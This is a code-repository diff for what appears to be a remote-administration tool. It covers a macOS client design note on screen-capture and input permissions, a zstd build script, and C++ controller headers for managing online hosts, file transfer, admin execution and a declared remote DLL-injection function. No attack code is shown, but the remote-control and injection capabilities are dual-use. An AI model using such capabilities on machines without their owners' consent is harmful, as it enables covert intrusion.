| Input Control: NEED PERMISSION | 无辅助功能权限 | 系统偏好设置授权 |
### 9.3 权限重置
```bash
# 如果权限状态混乱,可重置
tccutil reset ScreenCapture
tccutil reset Accessibility
```
---
## 10. 代码保护机制(待实现)
### 10.1 保护策略
核心思路:客户端内嵌服务端公钥,连接时验证服务端身份。
```
┌─────────────────────┐ ┌─────────────────────┐
│ macOS Client │ │ Your Server │
│ │ 1. 挑战请求 │ │
│ ┌─────────────────┐ │ ─────────────────▶ │ ┌─────────────────┐ │
│ │ libYamaCore.a │ │ │ │ 服务端私钥 │ │
│ │ (闭源) │ │ ◀───────────────── │ │ │ │
│ │ 内嵌服务端公钥 │ │ 2. 签名响应 │ └─────────────────┘ │
│ │ │ │ │ │
│ │ 验证签名 ─────▶ 匹配 ──▶ 正常工作 │
│ │ ─────▶ 不匹配 ──▶ 拒绝连接 │
│ └─────────────────┘ │ │ │
└─────────────────────┘ └─────────────────────┘
```
### 10.2 实施步骤
1. 生成服务端密钥对
2. 服务端添加签名逻辑
3. 创建闭源库 libYamaCore
4. 嵌入公钥编译
5. 客户端集成验证
---
## 11. 参考资料
### 11.1 官方文档
- [CGDisplayCreateImage](https://developer.apple.com/documentation/coregraphics/1454434-cgdisplaycreateimage)
- [CGEvent Reference](https://developer.apple.com/documentation/coregraphics/cgevent)
- [Carbon Events.h](https://developer.apple.com/documentation/carbon/events_h)
- [Accessibility API](https://developer.apple.com/documentation/applicationservices/axuielement_h)
### 11.2 开源项目参考
- [RustDesk macOS](https://github.com/rustdesk/rustdesk/tree/master/src/platform/macos)
- [Sunshine Screen Capture](https://github.com/LizardByte/Sunshine/tree/master/src/platform/macos)
---
## 12. 修订历史
| 日期 | 版本 | 修改内容 |
|-----|------|---------|
| 2026-04-28 | 1.0 | 初始版本(设计文档) |
| 2026-04-29 | 1.1 | 更新为实现文档Phase 1 完成 |

50
linux/build_zstd_linux.sh Normal file
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@@ -0,0 +1,50 @@
#!/usr/bin/env bash
# build_zstd_linux.sh - 用官方源码编译 libzstd.a (x86_64 Linux)
# 产出linux/lib/libzstd.a (覆盖旧版本)
#
# 用法(在 WSL 或 Linux 下):
# cd linux && bash build_zstd_linux.sh
set -euo pipefail
cd "$(dirname "$0")"
ZSTD_VERSION="1.5.6"
ZSTD_TAR="zstd-${ZSTD_VERSION}.tar.gz"
ZSTD_URL="https://github.com/facebook/zstd/releases/download/v${ZSTD_VERSION}/${ZSTD_TAR}"
ZSTD_DIR="zstd-${ZSTD_VERSION}"
BUILD_DIR="zstd_build"
OUT_DIR="lib"
# --- 下载源码 ---
if [[ ! -d "$ZSTD_DIR" ]]; then
echo "Downloading zstd $ZSTD_VERSION..."
wget -q "$ZSTD_URL" -O "$ZSTD_TAR" || curl -sSL "$ZSTD_URL" -o "$ZSTD_TAR"
tar xf "$ZSTD_TAR"
rm "$ZSTD_TAR"
fi
# --- CMake 构建 ---
rm -rf "$BUILD_DIR"
cmake \
-B "$BUILD_DIR" -S "$ZSTD_DIR/build/cmake" \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_C_FLAGS="-O2 -g0" \
-DZSTD_BUILD_STATIC=ON \
-DZSTD_BUILD_SHARED=OFF \
-DZSTD_BUILD_PROGRAMS=OFF \
-DZSTD_BUILD_TESTS=OFF \
-DZSTD_LEGACY_SUPPORT=0
cmake --build "$BUILD_DIR" --config Release -j"$(nproc)"
# --- 拷贝产物 ---
mkdir -p "$OUT_DIR"
cp "$BUILD_DIR/lib/libzstd.a" "$OUT_DIR/libzstd.a"
strip --strip-debug "$OUT_DIR/libzstd.a" 2>/dev/null || true
ls -lh "$OUT_DIR/libzstd.a"
rm -rf "$BUILD_DIR" "$ZSTD_DIR"
echo
echo "===== Done ====="
echo "libzstd.a 已写入 linux/lib/libzstd.a"

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@@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance()
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
return FALSE;
}
iniFile cfg;
int bits = cfg.GetInt("auth", "bits", 64);
const int currentBits = sizeof(int*) * 8;
if (bits != currentBits) {
Mprintf("[InitInstance] 运行%d位程序上次运行为%d位\n", currentBits, bits);
cfg.SetInt("auth", "bits", currentBits);
cfg.SetStr("auth", "version", "");
}
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
@@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance()
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
// 确保是正常模式(服务端已设置,这里再次确保)
THIS_CFG.SetInt("settings", "RunNormal", 1);
THIS_CFG.SetStr("auth", "version", "");
runNormal = 1;
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"

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@@ -75,6 +75,7 @@ class CSplashDlg; // 前向声明
class CClientListDlg;
class CLicenseDlg;
class CSearchBarDlg;
class CLogSearchBar;
#include "pwd_gen.h"
@@ -140,7 +141,9 @@ public:
_ClientList *m_ClientMap = nullptr;
CClientListDlg* m_pClientListDlg = nullptr;
CLicenseDlg* m_pLicenseDlg = nullptr;
CSearchBarDlg* m_pSearchBar = nullptr; // 搜索工具栏
CSearchBarDlg* m_pSearchBar = nullptr;
CLogSearchBar* m_pLogSearchBar = nullptr;
bool m_bLogSearchVisible = false; // 日志搜索条是否显示(右键菜单切换)
BOOL m_bEnableFileV2 = FALSE; // V2 文件传输开关
// 构造
@@ -170,6 +173,9 @@ protected:
DECLARE_MESSAGE_MAP()
public:
void SortByColumn(int nColumn);
void ApplySort(); // 按偏好重排 m_HostList无偏好时恢复默认顺序上线先后调用方需持有 m_cs
void LoadSortPreference();
void SaveSortPreference();
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
@@ -229,7 +235,7 @@ public:
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
const char* source = "AUTH");
void SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
@@ -334,11 +340,26 @@ public:
std::vector<int> m_PendingOffline; // 存储端口号
CListCtrlEx m_CList_Online;
CListCtrl m_CList_Message;
// 消息/审计日志的线程安全镜像(供 MCP get_audit_log 工具读取。m_CList_Message 是
// CListCtrl、只能在 UI 线程访问MCP 线程据此镜像读取。受 m_cs 保护,新在前、旧在后,
// 与 CListCtrl 显示顺序一致(索引一一对应,便于删除同步)。
struct LogMessage {
std::string type; // 类型(操作成功/主机上线/主机下线…)
std::string time; // 时间戳 "YYYY-MM-DD HH:MM:SS"
std::string msg; // 内容
};
std::vector<LogMessage> m_MessageLog;
CSplitterBar m_SplitterBar;
int m_nSplitPos = 160; // 消息区高度(像素),可拖动调整
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
// 重复上线的替补连接clientID -> 替补 context。
// 网络抖动导致客户端用新连接重复上线时,不立即替换/关闭旧连接(否则会触发客户端
// 反复重连抖动),而是把新连接暂存到这里;旧连接因心跳超时或断开被移除后,再取替补转正。
std::unordered_map<uint64_t, CONTEXT_OBJECT*> m_StandbyHosts;
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
int m_nSortColumn = -1; // 当前排序列,-1 表示未排序
bool m_bSortAscending = true; // 排序方向true=升序)
std::set<std::string> m_GroupList;
std::string m_selectedGroup;
std::string m_v2KeyPath; // V2 密钥文件路径
@@ -358,6 +379,9 @@ public:
context* FindHostNoLock(int port); // caller must hold m_cs lock
context* FindHostNoLock(uint64_t id); // caller must hold m_cs lock
bool RemoveFromHostList(context* ctx); // 从 m_HostList 中移除并更新索引
void AddToStandbyList(CONTEXT_OBJECT* ctx); // 重复上线:暂存替补连接(替换旧替补)
void RemoveFromStandbyList(CONTEXT_OBJECT* ctx); // 连接断开时从替补列表移除(幂等)
bool PromoteStandby(uint64_t clientID); // 旧连接移除后,取替补转正(需持有 m_cs返回是否真的转正
CStatusBar m_StatusBar; //状态条
ULONGLONG m_ullStartTime = 0; // 程序启动时间 (GetTickCount64)
@@ -368,6 +392,7 @@ public:
CGridDialog * m_gridDlg = NULL;
std::vector<DllInfo*> m_DllList;
context* FindHostByIP(const std::string& ip);
context* FindHostByClientID(uint64_t clientID); // 线程安全:通过 clientID 精确查主连接
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全在锁内获取ID
void InjectTinyRunDll(const std::string& ip, int pid);
NOTIFYICONDATA m_Nid;
@@ -381,7 +406,7 @@ public:
bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu;
CBitmap m_bmOnline[60];
CBitmap m_bmOnline[66];
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList;
@@ -559,6 +584,10 @@ public:
afx_msg void OnMsglogDelete();
afx_msg void OnMsglogCopy();
afx_msg void OnMsglogClear();
afx_msg void OnMsglogSearch();
afx_msg void OnMsglogLoginNotify();
afx_msg void OnMsglogBanIP();
afx_msg void OnMsglogUnbanIP();
afx_msg void OnOnlineAddWatch();
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
@@ -625,6 +654,7 @@ public:
afx_msg void OnMasterTrail();
afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl();
afx_msg void OnMcpSettings();
afx_msg void OnProxyPortAutorun();
afx_msg void OnScreenpreviewLoop();
afx_msg void OnMenuCompress();
@@ -635,4 +665,9 @@ public:
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
afx_msg void OnCopyClientInfo();
afx_msg void OnOnlineActiveWnd();
afx_msg void OnEnableDevDebug();
afx_msg void OnOnlineClientLog();
afx_msg void OnOnlineHistoryActivity();
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineForbidden();
};

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